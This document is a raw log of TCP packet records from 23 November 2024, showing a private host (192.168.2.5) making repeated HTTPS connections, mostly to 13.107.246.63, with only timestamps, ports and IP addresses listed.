Nov 23, 2024 15:37:33.320442915 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.320645094 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.320662022 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.320676088 CET	49738	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.320682049 CET	443	49738	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.323940039 CET	49743	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.323976994 CET	443	49743	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.324064016 CET	49743	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.324264050 CET	49743	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.324278116 CET	443	49743	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.396560907 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.396728992 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.396812916 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.396951914 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.396965027 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.396974087 CET	49739	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.396977901 CET	443	49739	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.400726080 CET	49744	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.400747061 CET	443	49744	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:33.400863886 CET	49744	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.400999069 CET	49744	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:33.401010036 CET	443	49744	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:34.562242985 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:34.564081907 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:34.564101934 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:34.566426992 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:34.566432953 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:34.836148024 CET	443	49741	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:34.837726116 CET	49741	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:34.837750912 CET	443	49741	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:34.838248014 CET	49741	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:34.838253975 CET	443	49741	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:34.997404099 CET	443	49742	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:34.998465061 CET	49742	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:34.998492002 CET	443	49742	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:34.999140978 CET	49742	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:34.999150038 CET	443	49742	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.000111103 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.000175953 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.000641108 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.000641108 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.000641108 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.003937006 CET	49745	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.003992081 CET	443	49745	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.004084110 CET	49745	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.004316092 CET	49745	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.004338980 CET	443	49745	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.116496086 CET	443	49743	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.126131058 CET	49743	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.126152992 CET	443	49743	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.126651049 CET	49743	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.126657009 CET	443	49743	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.182480097 CET	443	49744	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.186582088 CET	49744	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.186606884 CET	443	49744	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.187208891 CET	49744	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.187215090 CET	443	49744	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.278826952 CET	443	49741	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.278985023 CET	443	49741	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.279069901 CET	49741	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.287493944 CET	49741	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.287513971 CET	443	49741	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.287525892 CET	49741	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.287533998 CET	443	49741	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.309051991 CET	49740	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.309092045 CET	443	49740	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.324336052 CET	49746	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.324371099 CET	443	49746	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.324443102 CET	49746	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.328752995 CET	49746	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.328779936 CET	443	49746	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.440675020 CET	443	49742	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.440851927 CET	443	49742	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.440926075 CET	49742	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.485732079 CET	49742	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.485757113 CET	443	49742	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.485769033 CET	49742	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.485774994 CET	443	49742	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.560390949 CET	443	49743	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.560462952 CET	443	49743	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.560520887 CET	49743	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.578613043 CET	49747	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.578663111 CET	443	49747	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.578727007 CET	49747	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.589864016 CET	49743	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.589889050 CET	443	49743	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.589900017 CET	49743	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.589909077 CET	443	49743	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.630129099 CET	49747	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.630163908 CET	443	49747	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.637846947 CET	443	49744	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.638015032 CET	443	49744	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.638067961 CET	49744	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.638307095 CET	49744	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.638329029 CET	443	49744	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.638343096 CET	49744	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.638355970 CET	443	49744	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.789696932 CET	49748	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.789746046 CET	443	49748	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.789829016 CET	49748	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.976959944 CET	49749	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.977015018 CET	443	49749	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:35.977075100 CET	49749	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.978586912 CET	49748	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:35.978624105 CET	443	49748	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:36.044755936 CET	49749	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:36.044778109 CET	443	49749	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:36.819077015 CET	443	49745	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:36.822941065 CET	49745	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:36.822962999 CET	443	49745	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:36.823673010 CET	49745	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:36.823679924 CET	443	49745	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.117844105 CET	443	49746	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.119162083 CET	49746	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.119210005 CET	443	49746	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.119806051 CET	49746	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.119813919 CET	443	49746	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.269743919 CET	443	49745	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.269817114 CET	443	49745	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.269884109 CET	49745	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.270284891 CET	49745	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.270308018 CET	443	49745	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.270318031 CET	49745	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.270323992 CET	443	49745	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.274539948 CET	49759	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.274595022 CET	443	49759	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.274770021 CET	49759	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.275028944 CET	49759	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.275055885 CET	443	49759	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.490972042 CET	443	49747	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.491817951 CET	49747	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.491863012 CET	443	49747	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.492381096 CET	49747	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.492388010 CET	443	49747	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.561395884 CET	443	49746	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.561556101 CET	443	49746	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.561697006 CET	49746	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.561779976 CET	49746	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.561806917 CET	443	49746	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.561820030 CET	49746	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.561827898 CET	443	49746	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.564774036 CET	49760	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.564801931 CET	443	49760	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.564898014 CET	49760	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.565087080 CET	49760	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.565102100 CET	443	49760	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.703232050 CET	443	49748	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.703819990 CET	49748	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.703861952 CET	443	49748	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.704309940 CET	49748	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.704318047 CET	443	49748	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.900285959 CET	443	49749	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.900871038 CET	49749	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.900913000 CET	443	49749	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.901365042 CET	49749	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.901371956 CET	443	49749	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.954488993 CET	443	49747	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.954555988 CET	443	49747	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.954798937 CET	49747	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.954830885 CET	49747	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.954859018 CET	443	49747	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.954869986 CET	49747	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.954876900 CET	443	49747	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.958055973 CET	49761	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.958081961 CET	443	49761	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:37.958292961 CET	49761	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.958434105 CET	49761	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:37.958447933 CET	443	49761	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.139238119 CET	443	49748	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.139348984 CET	443	49748	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.139405966 CET	49748	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.139583111 CET	49748	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.139616013 CET	443	49748	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.139633894 CET	49748	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.139643908 CET	443	49748	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.142606020 CET	49762	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.142647028 CET	443	49762	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.142921925 CET	49762	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.143096924 CET	49762	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.143111944 CET	443	49762	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.340265036 CET	443	49749	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.340418100 CET	443	49749	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.340478897 CET	49749	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.349909067 CET	49749	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.349937916 CET	443	49749	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.349951982 CET	49749	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.349967003 CET	443	49749	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.386610985 CET	49764	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.386657953 CET	443	49764	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.386800051 CET	49764	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.387399912 CET	49764	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:38.387413979 CET	443	49764	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:38.994359016 CET	443	49759	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.038822889 CET	49759	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.100230932 CET	49759	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.100239038 CET	443	49759	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.102035999 CET	49759	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.102041006 CET	443	49759	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.289417982 CET	443	49760	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.345312119 CET	49760	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.389456987 CET	49760	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.389470100 CET	443	49760	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.389952898 CET	49760	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.389957905 CET	443	49760	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.430408001 CET	443	49759	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.430468082 CET	443	49759	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.430525064 CET	49759	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.430901051 CET	49759	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.430916071 CET	443	49759	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.430924892 CET	49759	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.430931091 CET	443	49759	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.434041977 CET	49766	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.434087992 CET	443	49766	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.434309959 CET	49766	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.434484005 CET	49766	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.434497118 CET	443	49766	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.804845095 CET	443	49761	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.805725098 CET	49761	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.805753946 CET	443	49761	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.806210995 CET	49761	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.806216955 CET	443	49761	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.859097004 CET	443	49762	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.859690905 CET	49762	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.859715939 CET	443	49762	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.860322952 CET	49762	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.860332012 CET	443	49762	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.943727970 CET	443	49760	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.943926096 CET	443	49760	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.944158077 CET	49760	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.951802969 CET	49760	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.951817989 CET	443	49760	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.955216885 CET	49768	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.955328941 CET	443	49768	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:39.955425978 CET	49768	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.955580950 CET	49768	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:39.955616951 CET	443	49768	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.110250950 CET	443	49764	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.110817909 CET	49764	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.110856056 CET	443	49764	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.111525059 CET	49764	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.111537933 CET	443	49764	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.258125067 CET	443	49761	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.258296013 CET	443	49761	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.258352995 CET	49761	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.258650064 CET	49761	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.258673906 CET	443	49761	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.263808012 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.263885975 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.263988018 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.264154911 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.264188051 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.294097900 CET	443	49762	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.294197083 CET	443	49762	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.294255972 CET	49762	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.294339895 CET	49762	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.294352055 CET	443	49762	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.294364929 CET	49762	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.294369936 CET	443	49762	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.296986103 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.297034025 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.297101974 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.297282934 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.297298908 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.556790113 CET	443	49764	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.556938887 CET	443	49764	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.557151079 CET	49764	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.557208061 CET	49764	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.557234049 CET	443	49764	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.557249069 CET	49764	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.557256937 CET	443	49764	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.558387995 CET	49773	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:37:40.558428049 CET	443	49773	172.217.21.36	192.168.2.5
Nov 23, 2024 15:37:40.558625937 CET	49773	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:37:40.558840990 CET	49773	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:37:40.558855057 CET	443	49773	172.217.21.36	192.168.2.5
Nov 23, 2024 15:37:40.561104059 CET	49774	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.561186075 CET	443	49774	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:40.561323881 CET	49774	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.561507940 CET	49774	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:40.561541080 CET	443	49774	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.284769058 CET	443	49766	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.285382986 CET	49766	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.285423040 CET	443	49766	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.285886049 CET	49766	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.285892963 CET	443	49766	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.744986057 CET	443	49768	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.760588884 CET	443	49766	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.760660887 CET	443	49766	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.760750055 CET	49766	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.790515900 CET	49768	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.930752039 CET	49768	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.930769920 CET	443	49768	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.931221962 CET	49768	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.931231976 CET	443	49768	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.931350946 CET	49766	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.931350946 CET	49766	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.931387901 CET	443	49766	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.931406021 CET	443	49766	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.937330008 CET	49775	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.937361002 CET	443	49775	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:41.937774897 CET	49775	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.946774006 CET	49775	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:41.946788073 CET	443	49775	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.125555992 CET	49776	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:42.125652075 CET	443	49776	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:42.125749111 CET	49776	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:42.127285957 CET	49776	443	192.168.2.5	23.218.208.109
Nov 23, 2024 15:37:42.127341032 CET	443	49776	23.218.208.109	192.168.2.5
Nov 23, 2024 15:37:42.197299004 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.197916031 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.197938919 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.198482037 CET	49769	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.198493958 CET	443	49769	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.263390064 CET	443	49768	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.263458014 CET	443	49768	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.263941050 CET	49768	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.264020920 CET	49768	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.264020920 CET	49768	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.264064074 CET	443	49768	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.264094114 CET	443	49768	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.267422915 CET	49777	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.267472982 CET	443	49777	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.267647982 CET	49777	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.267847061 CET	49777	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.267863989 CET	443	49777	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.271500111 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.271924973 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.271959066 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.272526979 CET	49770	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.272537947 CET	443	49770	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.302823067 CET	443	49773	172.217.21.36	192.168.2.5
Nov 23, 2024 15:37:42.303478956 CET	49773	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:37:42.303497076 CET	443	49773	172.217.21.36	192.168.2.5
Nov 23, 2024 15:37:42.304362059 CET	443	49773	172.217.21.36	192.168.2.5
Nov 23, 2024 15:37:42.304428101 CET	49773	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:37:42.305742025 CET	49773	443	192.168.2.5	172.217.21.36
Nov 23, 2024 15:37:42.305856943 CET	443	49773	172.217.21.36	192.168.2.5
Nov 23, 2024 15:37:42.343295097 CET	443	49774	13.107.246.63	192.168.2.5
Nov 23, 2024 15:37:42.343882084 CET	49774	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:37:42.343916893 CET	443	49774	13.107.246.63	192.168.2.5
